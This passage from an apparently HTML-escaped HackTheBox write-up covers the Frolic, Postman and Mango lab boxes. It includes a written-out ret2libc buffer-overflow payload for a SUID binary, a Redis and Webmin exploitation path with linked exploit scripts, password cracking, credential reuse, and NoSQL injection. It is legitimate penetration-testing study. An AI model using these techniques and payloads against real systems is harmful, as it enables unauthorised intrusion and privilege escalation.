+++&amp;lt;] &amp;gt;++++ +.&amp;mdash; &amp;ndash;.++ +++++ .&amp;lt;+&lt;/p&gt;&#10;&lt;p&gt;++ [-&amp;gt;++ +&amp;lt;]&amp;gt;+&lt;/p&gt;&#10;&lt;p&gt;++.&amp;lt;+ ++[-&amp;gt; &amp;mdash;&amp;lt;] &amp;gt;&amp;mdash;- &amp;ndash;.&amp;ndash; &amp;mdash;&amp;ndash; .&amp;lt;+++&lt;/p&gt;&#10;&lt;p&gt;+[-&amp;gt;+ +++&amp;lt;] &amp;gt;+++. &amp;lt;+++[ -&amp;gt;&amp;mdash;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;]&amp;gt;&amp;ndash; .&amp;lt;+++ [-&amp;gt;++ +&amp;lt;]&amp;gt;+ .&amp;ndash;&lt;/p&gt;&#10;&lt;p&gt;-. &amp;lt;+++[ -&amp;gt;&amp;mdash; &amp;lt;]&amp;gt;&amp;ndash; &amp;mdash;-. &amp;lt;++++ [-&amp;gt;++ ++&amp;lt;]&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;++..&amp;lt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I had learned my lesson this time and pasted it straight into Google.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0365.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0366.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The default account was admin, and I successfully logged in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0367.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/42044" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/42044&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;An automated script for 42044:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/jasperla/CVE-2017-9101" target="_blank" rel="noopener"&#10; &gt;https://github.com/jasperla/CVE-2017-9101&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It gets a shell directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0368.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0369.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Database root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0370.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;44298.c matched perfectly, so I uploaded it directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0371.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It failed because the target was 32-bit. Compiling it for 32-bit should fix it.&lt;/p&gt;&#10;&lt;p&gt;gcc 44298.c -m32 -static -o 44298&lt;/p&gt;&#10;&lt;p&gt;Well, even after compiling it for 32-bit, it still failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0372.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After several attempts, I confirmed this exploit simply wouldn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0373.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It says &amp;lt;, but it still doesn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;There was a settings.js file under /home/sahay/.node-red; its password cracked to password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0374.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0375.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0376.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Node-RED was running as sahay, so compromising Node-RED would directly grant sahay privileges. I continued looking.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0377.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0378.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked these files one by one and found nothing. I could only return to the home directories.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0379.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I saw something interesting: there were two public keys above. But to connect, I needed a private key; the public keys were completely useless to me.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0380.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The two files were identical.&lt;/p&gt;&#10;&lt;p&gt;Continuing through the home directory, I found this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0381.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It had the SUID bit.&lt;/p&gt;&#10;&lt;p&gt;It was an ELF binary. Running it briefly produced this prompt:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0382.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0383.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It repeats whatever you say. This clearly required reverse engineering. I can read some C/C++ code, but I really haven&amp;rsquo;t learned reverse-engineering assembly.&lt;/p&gt;&#10;&lt;p&gt;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;- Here I learned that a buffer-overflow technique was required. So far, I had only determined this:&lt;/p&gt;&#10;&lt;p&gt;It could accept at most aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, or 49 characters.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll leave this part unfinished for now and return after learning buffer overflows.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;This was the second day on this box. OSCP buffer overflows seem fairly basic, and after studying the fundamentals for a day, I understood them.&lt;/p&gt;&#10;&lt;p&gt;I found the rop program again and started analyzing it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0384.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first setuid pushes a 0, meaning root privileges.&lt;/p&gt;&#10;&lt;p&gt;The second location calls the vuln function, passing an eax argument that is ultimately assigned to vuln.&lt;/p&gt;&#10;&lt;p&gt;None of that really matters. Our main goal is to locate EIP.&lt;/p&gt;&#10;&lt;p&gt;Pass an argument directly.&lt;/p&gt;&#10;&lt;p&gt;Use 52 letters to identify the position. You can of course use more characters, as long as they differ.&lt;/p&gt;&#10;&lt;p&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0385.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;52 characters caused an error, but the pointer actually landed at 0x08048400, the deregister_tm_clones function.&lt;/p&gt;&#10;&lt;p&gt;When 4 filler characters were added after those 52 characters, this happened:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0386.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I added 4 characters, all 1s, and their hexadecimal ASCII value appeared. That showed us where EIP was.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0387.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Next, locate the target&amp;rsquo;s dynamic-link library.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0388.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Record the address: 0xb7e19000.&lt;/p&gt;&#10;&lt;p&gt;We need two functions here, system and exit, to execute a system command and exit the process.&lt;/p&gt;&#10;&lt;p&gt;We also need the address of the /bin/sh string.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;ww-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; system&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; system&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0&lt;/p&gt;&#10;&lt;p&gt;www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; exit&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep &amp;quot; exit&amp;quot;&lt;/p&gt;&#10;&lt;p&gt;141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0&lt;/p&gt;&#10;&lt;p&gt;www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;ldquo;/bin/sh&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep &amp;ldquo;/bin/sh&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;15ba0b /bin/sh&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;With the offsets found, just add them using a calculator.&lt;/p&gt;&#10;&lt;p&gt;0xB7E53DA0&lt;/p&gt;&#10;&lt;p&gt;0xB7E479D0&lt;/p&gt;&#10;&lt;p&gt;0xB7F74A0B&lt;/p&gt;&#10;&lt;p&gt;x86 uses little-endian byte order, so the bytes must be reversed.&lt;/p&gt;&#10;&lt;p&gt;\xa0\x3d\xe5\xb7&lt;/p&gt;&#10;&lt;p&gt;\xd0\x79\xe4\xb7&lt;/p&gt;&#10;&lt;p&gt;\x0b\x4a\xf7\xb7&lt;/p&gt;&#10;&lt;p&gt;Write them in recognizable hexadecimal form and concatenate the payload.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;./rop $(echo -e &amp;ldquo;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\xa0\x3d\xe5\xb7\xd0\x79\xe4\xb7\x0b\x4a\xf7\xb7&amp;rdquo;)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0389.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Executing it completed the box. This one taught me some basic buffer-overflow techniques, which was quite useful. Going deeper still seems difficult, but I&amp;rsquo;ll look for more buffer-overflow boxes to study later.&lt;/p&gt;&#10;&lt;h2 id="18postman"&gt;&lt;a href="#18postman" class="header-anchor"&gt;&lt;/a&gt;18.Postman&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0390.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0391.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll just give the results again.&lt;/p&gt;&#10;&lt;p&gt;Port 22 revealed no information.&lt;/p&gt;&#10;&lt;p&gt;Port 80 revealed the domain postman.htb, but nothing else. I started directory brute-forcing.&lt;/p&gt;&#10;&lt;p&gt;I focused on Redis on port 6379. It allowed unauthenticated access and was version 4.0.9. Writing a shell failed due to insufficient permissions; writing a scheduled task failed for the same reason; writing a public key also failed for the same reason.&lt;/p&gt;&#10;&lt;p&gt;In other words, it could write files, but lacked permission in many directories. I could try writing a public key into a home directory, but I didn&amp;rsquo;t know what users existed, so I left that possibility open.&lt;/p&gt;&#10;&lt;p&gt;There was also a master-replica technique, but that couldn&amp;rsquo;t be exploited either.&lt;/p&gt;&#10;&lt;p&gt;Port 10000 ran MiniServ 1.910 (Webmin httpd). Kali&amp;rsquo;s search found nothing for this version, but Google did, and the version matched exactly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0392.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The prerequisite was a password.&lt;/p&gt;&#10;&lt;p&gt;My conclusion so far was that port 22 had no vulnerability. Port 6379 could write files, but not anything that would get a shell; other files could be written without a problem.&lt;/p&gt;&#10;&lt;p&gt;Ports 80 and 10000 were the main focus. I searched for UDP port 10000 and found this:&lt;/p&gt;&#10;&lt;p&gt;&lt;em&gt;NDMP (Network Data Management Protocol) is a protocol designed specifically for data-backup systems on NAS devices.&lt;/em&gt;&lt;/p&gt;&#10;&lt;p&gt;However, NDMP uses TCP port 10000, not UDP. This was still worth noting.&lt;/p&gt;&#10;&lt;p&gt;For now, I brute-forced ports 80 and 10000. The highest priority was finding the password for port 10000 so I could use the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0393.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found something interesting. Accessing it without http produced an error, while using https made it hang briefly. At first I thought a redirect was hanging, but now it looked like the backup file was the cause.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0394.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This field changed with the domain in the request. It definitely looked exploitable to me, but I didn&amp;rsquo;t have many ideas.&lt;/p&gt;&#10;&lt;p&gt;UDP port 10000 was reachable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0395.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried to find client software for this service and connect with it.&lt;/p&gt;&#10;&lt;p&gt;I searched for a long time without finding anything. It seemed to be some kind of NetApp daemon. I couldn&amp;rsquo;t get any information at all, and connecting with nc provided nothing useful.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0396.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The previous result was a false positive. This was actually still Webmin.&lt;/p&gt;&#10;&lt;p&gt;I had no other options. The framework on port 10000 was currently the clearest lead, so I searched for more PoCs, but still got nowhere.&lt;/p&gt;&#10;&lt;p&gt;I went back over everything. Redis on port 6379 still felt like a dead end, but for thoroughness I searched for version-specific vulnerabilities and found another exploit matching the version.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa" target="_blank" rel="noopener"&#10; &gt;https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The script wouldn&amp;rsquo;t run and was a little troublesome, but the code was easy enough to read.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0397.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0398.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was actually all that was needed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0399.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Connected successfully.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege-escalation enumeration. The key points were fairly easy to find thanks to LinEnum.sh.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0400.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0401.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The encrypted value above was obvious, so I passed it straight to John.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0402.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0403.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection was closed immediately.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0404.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried connecting locally from the target, but even that failed.&lt;/p&gt;&#10;&lt;p&gt;Very strange. I could only inspect the SSH configuration.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0405.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Login was disabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0406.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The key&amp;rsquo;s passphrase was actually the account password. I switched users successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0407.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Continuing privilege escalation, I found several interesting files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0408.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was actually running as root. In other words, we couldn&amp;rsquo;t get in without its password, but if we found the password, exploiting it would grant root privileges. The password was probably all that remained, because I had searched many files and tried many things without finding another escalation path.&lt;/p&gt;&#10;&lt;p&gt;We couldn&amp;rsquo;t read most of that directory, so I used find to inspect it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0409.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing after reading it all. I could only Google where its password file was stored.&lt;/p&gt;&#10;&lt;p&gt;/etc/webmin/miniserv.users&lt;/p&gt;&#10;&lt;p&gt;But that file was inaccessible.&lt;/p&gt;&#10;&lt;p&gt;/root/webmin-1.470/changepass.pl /etc/webmin/ Demo 123456&lt;/p&gt;&#10;&lt;p&gt;This command could change it, but I didn&amp;rsquo;t have permission.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0410.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While searching, I found this. We currently had Matt&amp;rsquo;s password, so let&amp;rsquo;s try logging in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0411.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It actually worked. Whenever credentials successfully log in somewhere, try credential reuse against the other services.&lt;/p&gt;&#10;&lt;p&gt;Not noticing that immediately wasted a lot of my time.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/roughiz/Webmin-1.910-Exploit-Script" target="_blank" rel="noopener"&#10; &gt;https://github.com/roughiz/Webmin-1.910-Exploit-Script&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;The code needed a small change. I didn&amp;rsquo;t have the termcolor package, and it wasn&amp;rsquo;t important anyway.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0412.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0413.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. I had been blindly overconfident about Redis here. First, I didn&amp;rsquo;t try an exploit specifically targeting version 4.0.9. Second, I noticed many things but failed to try the most important one: credential reuse.&lt;/p&gt;&#10;&lt;p&gt;Everything else was fine.&lt;/p&gt;&#10;&lt;h2 id="19mango"&gt;&lt;a href="#19mango" class="header-anchor"&gt;&lt;/a&gt;19.Mango&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0414.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0415.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0416.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was only one page. Port 22 had nothing, port 80 returned 403, and HTTPS on port 443 served this page. I couldn&amp;rsquo;t find anything hidden.&lt;/p&gt;&#10;&lt;p&gt;Searching for the page returned no results, and I didn&amp;rsquo;t know what that endpoint was doing.&lt;/p&gt;&#10;&lt;p&gt;nmap didn&amp;rsquo;t identify the framework, and neither did WhatWeb&amp;rsquo;s fingerprints.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0417.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But its title was mango search base, so I could check whether that was a framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0418.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The versions were all different. I decided to try a few.&lt;/p&gt;&#10;&lt;p&gt;As I started testing, I noticed that directory brute-forcing had returned something.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0419.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was 390,000 bytes. It existed on the home page, but at the time I saw nothing in it and ignored it. That was a mistake in my process.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0420.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This counted as an error. If the directory wordlist hadn&amp;rsquo;t included it, I would have wasted much more time. Let&amp;rsquo;s inspect it again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0421.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Many JavaScript calls failed because they were all remote calls.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0422.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was lots of data here, but it couldn&amp;rsquo;t be loaded, so the page displayed nothing. I prefer analyzing JavaScript in Chrome; Firefox is too awkward to use.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0423.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After accessing it, I found that the JavaScript here somehow worked, even though it was exactly the same request.&lt;/p&gt;&#10;&lt;p&gt;I started looking for endpoints on the current page. After a long time, it seemed to be implemented entirely in JavaScript—or perhaps I simply failed to find an endpoint.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0424.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did find something in index.php: adding any parameter after index.php always produced a response like this. It wasn&amp;rsquo;t useful.&lt;/p&gt;&#10;&lt;p&gt;But the SSL certificate actually contained more information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0425.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0426.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, the outer site had nothing, but this one did. Time to brute-force it.&lt;/p&gt;&#10;&lt;p&gt;After trying for ages and finding nothing, I had to read a write-up for the next step. It explained that mongo referred to MongoDB on the backend, and that we needed to exploit NoSQL injection. When an image, domain name, or anything else provides an obvious hint, remember to Google it and look for a matching vulnerability.&lt;/p&gt;&#10;&lt;p&gt;When I searched for mongo, the results kept showing MongoDB, but I assumed they were unrelated. It turned out NoSQL was involved too. Another lesson learned.&lt;/p&gt;&#10;&lt;p&gt;Once I knew the entry point, I started testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0427.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0428.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could get in, but it said access was denied. I checked whether I could write a shell, but it didn&amp;rsquo;t seem able to write files.&lt;/p&gt;&#10;&lt;p&gt;Logging in didn&amp;rsquo;t work either, leaving only one approach: since injection existed, we needed to extract the password and try credential reuse. This was very similar to the previous box.&lt;/p&gt;&#10;&lt;p&gt;However, OSCP almost entirely prohibits automated penetration-testing scripts, and one-click NoSQL injection tools didn&amp;rsquo;t seem to be allowed. I had to learn NoSQL syntax from scratch here.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;After a little over 1 hour of crash-course study, I found the target technique here:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2" target="_blank" rel="noopener"&#10; 